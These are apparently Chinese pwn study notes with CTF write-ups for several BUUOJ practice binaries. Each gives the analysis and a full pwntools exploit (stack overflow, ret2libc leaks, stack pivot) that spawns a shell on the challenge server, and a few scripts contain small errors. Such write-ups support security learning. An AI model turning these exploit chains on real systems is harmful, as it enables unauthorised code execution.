学习笔记pwn

铁人三项(第五赛区)_2018_rop

分析

checksec,32位程序,NX保护

放入32位的ida里,main函数这样

进入到function函数,buf有88字节,read可以读入100字节的数据,存在栈溢出

[外链图片转存中…(img-YAYZrmI8-1695114237612)]

看字符串有没有system和bin_sh,都没有,可能是return to libc

可以试试在libc里找system和bin_sh,肉眼可见左边有writeread函数,可以泄露write地址来得到libc版本

思路

泄露write或read地址得到libc版本

知道了libc版本后,可以计算出system地址和字符串“bin/sh"地址

返回地址覆盖位system(‘bin/sh’)

过程

通过elf

elf = ELF("./2018_rop")

找到main函数的地址,write的plt和got地址

main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
第一个payload
payload = b"a"*(0x88 + 0x4)
payload +=p32(write_plt)
payload +=p32(main)

#构造write的三个参数
payload +=p32(1)
payload +=p32(write_got)
payload +=p32(4)
  • 填充 0x88 + 4 个字节到返回地址

  • 返回地址设置为write在plt表的地址,该函数的返回地址设为main函数的地址,执行完返回main函数

  • 设置write函数的参数:如下图所示,参数分别为 1 write_got 4 ,写入四个字节

    参数说明:

    第一个参数 文件描述符fd

    第二个参数 无类型的指针buf,可以存放要写的内容

    第三个参数 写多少字节数

送入payload后会泄露wirte的真实地址write_addr

io.sendline(payload)
write_addr = u32(io.recv())

可以用泄露的write_addr得到libc版本

libc = LibcSearcher("write",write_addr)

偏移量

libc_base = write_addr - libc.dump('write')

函数真实地址 = 基址 + 偏移量

libc_sys = libc_base + libc.dump('system')#system地址
libc_binsh = libc_base + libc.dump('str_bin_sh')#bin_sh地址
第二个payload
payload = b"a"*(0x88 + 0x4) + p32(libc_sys) + p32(0) + p32(libc_binsh)

exp

from pwn import*
from  LibcSearcher import*
elf = ELF("./2018_rop")
#io = process("./2018_rop")
io  = remote("node4.buuoj.cn",28171)

main = elf.sym["main"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload = b"a"*(0x88 + 0x4)
payload +=p32(write_plt)
payload +=p32(main)

#构造write的三个参数
payload +=p32(1)
payload +=p32(write_got)
payload +=p32(4)

io.sendline(payload)
write_addr = u32(io.recv())
print("write_addr:" + hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump('write')
libc_sys = libc_base + libc.dump('system')
libc_binsh = libc_base + libc.dump('str_bin_sh')

payload = b"a"*(0x88 + 0x4) + p32(libc_sys) + p32(0) + p32(libc_binsh)
io.sendline(payload)
io.interactive()

可能会出现多个libc版本,具体选哪一个不知道,我一个个试选的1,可以打通φ(* ̄0 ̄)

ciscn_2019_en_2

checksec,64位的程序,保护打开了NX

main函数如下,encrypt加密函数,如果字符串开头是”\0"可以绕过加密

gets函数存在栈溢出,覆盖0x50,所以绕过加密,payload = b’\0’+b’a’*(0x50-1+8)

f

没有看到system函数和binsh字符串,无法使用ret2text和ret2syscall

漏洞利用

由于没有可用的system函数,和bin/sh/字符串,ret2libc

构造第一个payload用于泄露已经调用的函数在程序中的地址,找到合适的libc版本

ROPgadget --binary ./ciscn_2019_en_2 'pop|ret' |gerp ret
from pwn import*

from LibcSearcher import*

io = process("./ciscn_2019_en_2")

elf = ELF("./ciscn_2019_en_2")


payload1

ROP链

payload = 覆盖的大小 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

1)pop_rdi_addr可以用ROPgadget找到,0x400c83

2)puts_got_addr,将puts_got_addr指令作为pop的参数,放到寄存器rdi里

3)puts_plt_addr,打印puts函数的真实地址

注意:填充的数据应为有加密,encrypt函数,strlen()函数遇‘\0’截止

完整exp

from pwn import*
from LibcSearcher import *
io = process("./ciscn_2019_en_2")
elf=ELF('./ciscn_2019_en_2')
 
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

io.sendlineafter('Input your choice!\n','1')
payload=b'\0' + b"a"*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()  
io.recvline()
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print ("puts_addr:" + hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts") #计算偏移
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
io.sendlineafter('choice!\n','1')

payload=b'\0' + b"a"*(0x50-1 + 8)
payload += p64(ret) 
payload += p64(pop_rdi) 
payload += p64(binsh) 
payload += p64(sys_addr) 
io.sendlineafter('encrypted\n',payload)
io.interactive()

[外链图片转存中…(img-6Dt1qPTv-1695114237615)]

bjdctf_2020_babyrop

checksec一下,

image-20230529143128769

堆栈随地址机化,栈不可执行

main函数

image-20230529152330603

里面的vuln存在栈溢出

image-20230529152431550

字符串看一下

image-20230529153633464

没有发现system和bin/sh,有一个字符串"puts",比存在puts函数,可以泄露puts函数得到libc版本,再构造system(“/bin/sh”)

看ret

image-20230529171917589

from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",27835)
elf=ELF("./bjdctf_2020_babyrop")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734
payload=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload)
puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump("puts")
system=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump("str_bin_sh")
payload=b"A"*(0x28)+p64(pop_rdi_ret)+p64(system)+p64(str_bin_sh)
p.recvuntil(b"story!\n")
p.sendline(payload)
p.interactive()

ciscn_2019_es_2

checksec一下,地址随机化,栈不可执行

image-20230604230643215

拖到32位ida中,再光标指到main函数,按F5键看伪代码

image-20230604231120984

看里面的vul函数,read可写0x30个字节,但s的缓冲区只有0x28个字节,存在栈溢出

[外链图片转存中…(img-oPdgq954-1695114237617)]

shitf + F12看字符串

image-20230604232605792

发现有一个“each flag”,根据它找到hack,直接返回system(“echo flag”)

[外链图片转存中…(img-7slI1hQR-1695114237617)]但是system的参数不是==/bin/sh==,所以要改变参数为/bin/sh,但是system里的参数不是==/bin/sh==,因此,利用 read 函数也许可以覆盖栈上数据并写入 /bin/sh,使其执行 system 以getshell,但要直接写入会栈空间不够,但是栈上变量 s 位于 ebp-0x28,而 read 函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 = 0x30-0x28个字节供使用,不够,明显不够,怎么办,这里看看能否用栈迁移

确定是否用栈迁移

  • 存在 leave ret 这类gadget指令***,如下图,存在0x080484b8 : leave ; ret****
  • 存在可执行shellcode的内存区域可以read自己读入/bin/sh
image-20230604234548211

第一步: 确定劫持地址与偏移

设置断点在可在 vuln 函数中 0x80485fc 的 nop,在运行时输入“aaaa”进行定位

[外链图片转存中…(img-MnAV4JdM-1695114237618)]

image-20230605124635997

第一次输入“aaaa”是正常输入,第二次输入“aaaa”定位esp

stack40

[外链图片转存中…(img-J6SI3gMx-1695114237618)]

由图可知,esp位于0xffffd120,是缓冲区开始的地方,写入了”aaaa“,ebp位于0xffffd148,是缓冲区结束的地方,esp-ebp=0xffffd120-0xffffd148 = -0x28,刚好是缓冲区的空间大小,而此时ebp存放的地址0xffffd158old ebp的位置,可以知道偏移是0xffffd158-0xffffd120 = 0x38,这说明只要使用 printf 泄露出攻击时栈上 ebp所存地址,将该地址减去0x38即为 s 的准确地址,即栈迁移最终要劫持到的地方。

第二步:构造ROP链

要完成栈迁移的攻击结构,就要覆盖原栈上retleave rett的地址,本题中可覆盖为 0x080484b8;要将 esp劫持到 old ebp -0x38处,就要将原 ebp中的 old_ebp 覆盖为 old ebp -0x38,其中 old_ebp 可通过第一次 read & printf 泄露得到
第一次泄露 payload1,获得ebp

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) 
p.recvuntil("B")
ebp = u32(p.recv(4))

第二次第二次read利用leave_ret劫持地址
这里劫持到一开始s读入的地址即ebp-0x38

payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'dddd'  
payload2 += p32(ebp - 0x28) 
payload2 += b'/bin/sh\x00' 
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(ebp - 0x38)  
payload2 += p32(leave_ret)  

p.sendline(payload2)

exp

from pwn import *

p = remote("node4.buuoj.cn", 28471)
#p = process("./ciscn_2019_es_2")
elf = ELF("./ciscn_2019_es_2")

 
system_addr =elf.sym["system"]  
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) 
p.recvuntil("B")
ebp = u32(p.recv(4))
print(hex(ebp))

payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'dddd'  
payload2 += p32(ebp - 0x28) 
payload2 += b'/bin/sh\x00' 
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(ebp - 0x38)  
payload2 += p32(leave_ret)  

p.sendline(payload2)
p.interactive()

[外链图片转存中…(img-9DJ3JEfk-1695114237618)]

pwn2_sctf_2016

checksec一下,开了nx保护和部分RELRO

看程序的执行逻辑,读入2字节的数,输入字符,打印输入的字符

image-20230605173827818

放到32位的IDA里,main函数调用了vuln函数

image-20230605165455122

image-20230605165541835

  • 程序读入一个字符串并转化为带符号整形(signed int),这时,如果我们输入负数可以避开不能大于32的检查

  • 在get_n函数中,读入长度被强制转换为unsigned int,此时输入负数,使得我们能够进行缓冲区溢出攻击

  • 然后程序中存在printf的plt地址,我们用他去泄露libc基址来绕过nx

  • ROP链为p32(printf_plt) + p32(main) + p32(printf_got)

    调用printf函数把got表中的函数真实地址打印出来保存

    返回地址,调用完printf返回主要利用函数

    打印got中地址

  • 构造ROP链为p32(system) + p32(main) + p32(bin_sh)就能获得she

from pwn import *
from LibcSearcher import *
#io = process("./pwn2_sctf_2016")
io = remote("node4.buuoj.cn",27982)
elf = ELF('./pwn2_sctf_2016')
printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
main_addr = elf.sym["main"]
#io.recvuntil('How many bytes do you want me to read? ')
#io.sendline('-1')
io.sendlineafter("How many bytes do you want me to read?","-1")
io.recvuntil('\n')

#第一个payload泄露print基址
payload=b'a'*(0x2c+4)
payload+=p32(printf_plt)
payload+=p32(main_addr)
payload+=p32(printf_got)
io.sendline(payload)
io.recvuntil('\n')
printf_addr=u32(io.recv(4))

libc = LibcSearcher('printf', printf_addr)#libc版本
libc_base = printf_addr - libc.dump('printf')#计算偏移
system_addr = libc_base + libc.dump('system')#system真实地址
binsh_addr = libc_base + libc.dump('str_bin_sh')#/bin/sh真实地址
io.sendlineafter('?', '-1')
io.recvuntil('data!')

payload = b'a' * (0x2c + 4) 
payload+= p32(system_addr) 
payload+= p32(main_addr) 
payload+= p32(binsh_addr)
io.sendline(payload)
io.interactive()

babyrop2

checksec一下,nx保护

image-20230605180111658

放到64位的IDA里,main函数如下:

image-20230605180531276

buf距离rbp0x20,但是read可以读入0x100,栈溢出漏洞,覆盖0x20 + 0x8个字节

shift + F12看字符串,没有system函数,没有/bin/sh字符串

image-20230605191305827

程序思路

栈溢出漏洞

没有system函数

考虑用ret2libc

漏洞利用

首先根据泄露的read的地址找到libc的版本

找到system函数和/bin/sh字符串的真实地址,可以得到shell

注意事项

注意32位程序和64位程序传参的区别,64位程序要借用寄存器

flag不在当前目录,在/home/babyrop2/flag下。

[外链图片转存中…(img-B7P8ep6d-1695114237621)]

rdi_addr = 0x400733

image-20230605203101585

rsi_addr = 0x400731

我们要构造出printf(“%s”,read_got)这样的函数 ,所以我们要首先找到"%s"所在的位置,如图format_str = 0x400770

image-20230605195817593

泄露libc基址

payload = b'a'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)

b’a’*(0x20+8) 是覆盖的地址

p64(rdi_addr) + p64(format_str):rdi寄存器的地址 和第一个参数地址

p64(rsi_r15_addr) + p64(read_got) + p64(0):rsi寄存器地址,里面存放的是read@got地址和一个参数为0

覆盖返回地址位system(‘/bin/sh ’)

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

exp

from pwn import*

from LibcSearcher import*

elf = ELF("./babyrop2")

io = remote("node4.buuoj.cn",25945)

#io = process("./babyrop2")

 rdi_addr = 0x400733

rsi_addr = 0x400731

format_str = 0x400770

main_addr = elf.sym["main"]

printf_plt = elf.plt["printf"]

read_got = elf.got["read"]

payload = b"a"*(0x20 +8) 

payload += p64(rdi_addr)

payload +=p64(format_str)

payload += p64(rsi_addr)

payload += p64(read_got)

payload +=p64(0)

payload +=p64(printf_plt)

payload += p64(main_addr)

io.sendlineafter("name?",payload)

read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

#read_addr = u64(io.recv())

libc = LibcSearcher("read",read_addr)

print("read_addr:" +hex(read_addr))

libc_base = read_addr - libc.dump("read")

system_addr = libc.dump("system") + libc_base

binsh = libc.dump("str_bin_sh") + libc_base

payload = b'a'*0x28+p64(rdi_addr)+p64(binsh)+p64(system_addr)


io.sendlineafter("name?",payload)

io.interactive()

image-20230605205602823

jarvisoj_tell_me_something

[外链图片转存中…(img-q8HnToY5-1695114237622)]

拖到64位的IDA,main函数如下,一眼就看见v4存在栈溢出

image-20230605212505250

shift + F12看字符串。没有system函数也没有bin/sh,看见了一个libc.so.6,以为是ret2libc

image-20230605212641512

然后还有一个flag.text,根据它找到good_game,game_addr = 0x400620

所以直接覆盖v4的返回值为good_game的地址

payload = b"a"*0x88 + p64(game_addr)

这里没有 + 8是因为缓冲区没有把rbp压栈

exp

from pwn import*25592
io = remote("node4.buuoj.cn",25592)
game_addr = 0x400620
payload = b"a"*0x88 + p64(game_addr)
io.sendline(payload)
io.interactive()

image-20230605214018303

jarvisoj_level3]

checksec 一下,nx保护

拖到32位ida,main函数如下,没有发现什么

image-20230606192029594

调用了vulnerable_function,如下,返回read(0, &buf, 0x100u);

buf距离ebp0x88的距离,但可以往缓存区里读入0x100,

特殊字符串里有没有system函数和"“/bin/sh”

image-20230606192614948

第一个payload泄露libc版本

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

exp

from pwn import*

from LibcSearcher import*

elf = ELF("./level3")

#io = process('./level3')

io = remote("node4.buuoj.cn",29746)

write_got = elf.got["write"]

write_plt = elf.plt["write"]

main = elf.sym['main']

payload = b'a'*(0x88 +4)+ p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)

io.recvuntil("Input:\n")

io.sendline(payload)


write_addr = u32(io.recv(4))

libc = LibcSearcher("write",write_addr)

libc_base = write_addr -libc.dump("write")

system_addr = libc_base + libc.dump("system")

binsh = libc_base + libc.dump("str_bin_sh")

payload = b"a"*(0x88 + 4) + p32(system_addr) + p32(0) + p32(binsh)

io.sendline(payload)

io.interactive()

image-20230612165623876

jarvisoj_level3_x64

保护

image-20230612215024242

ida ,main

image-20230612213657274

调用了vulnerable_function

image-20230612213753716

字符串

image-20230612213854544

ret2libc3

64位程序传参,用寄存器传参rdi,rsi,rdx,rcx,r8,r9

ROPgadget --binary ./level3_x64 |grep rdi

ROPgadget --binary ./level3_x64 |grep rsi 


[外链图片转存中…(img-t8uuWWi0-1695114237627)]

image-20230612214552056

r15寄存器填任意数

 

from pwn import*
from LibcSearcher import*
 
elf=ELF("./level3_x64")

#io=process("./level3_x64")
io=remote("node4.buuoj.cn",29364)
 
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main=elf.symbols["main"]

pop_rdi=0x04006b3
pop_rsi_r15=0x04006b1

payload=b"a"*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main) 

io.sendlineafter("Input:\n",payload)
write_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))#切片
print(hex(write_addr))
 
libc=LibcSearcher("write",write_addr)
libc_base=write_addr-libc.dump("write")
sys_addr=libc_base+libc.dump("system")
sh_addr=libc_base+libc.dump("str_bin_sh")

payload=b"a"*(0x80+8)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)

io.sendlineafter("Input:\n",payload)

io.interactive()

image-20230612215557492

wustctf2020_getshell

checksec

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vulnerable();
  return 0;
}


int init()
{
  alarm(0x20u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  return puts(
           "   __  ___    ______   ___    \n"
           "  /  |/  /__ /_  __/__<  /_ __\n"
           " / /|_/ / _ `// / / __/ /\\ \\ /\n"
           "/_/  /_/\\_,_//_/ /_/ /_//_\\_\\ \n");
}
ssize_t vulnerable()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0x20u);
}

mian函数调用了initvulnerable,其中vulnerable函数里可以看到buf距离ebp0x18,但可以往缓冲区里读0x20个字节

然后看字符串

image-20230614193730678

直接有后门函数shell 0x804851b

image-20230614205204707

exp

from pwn import*

#io = process("./wustctf2020_getshell")

io = remote("node4.buuoj.cn",27857)

elf = ELF("./wustctf2020_getshell")

payload = b"a"*(0x18 + 4) + p32(elf.sym["shell"])

io.sendline(payload)

io.interactive()

image-20230614210312738

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值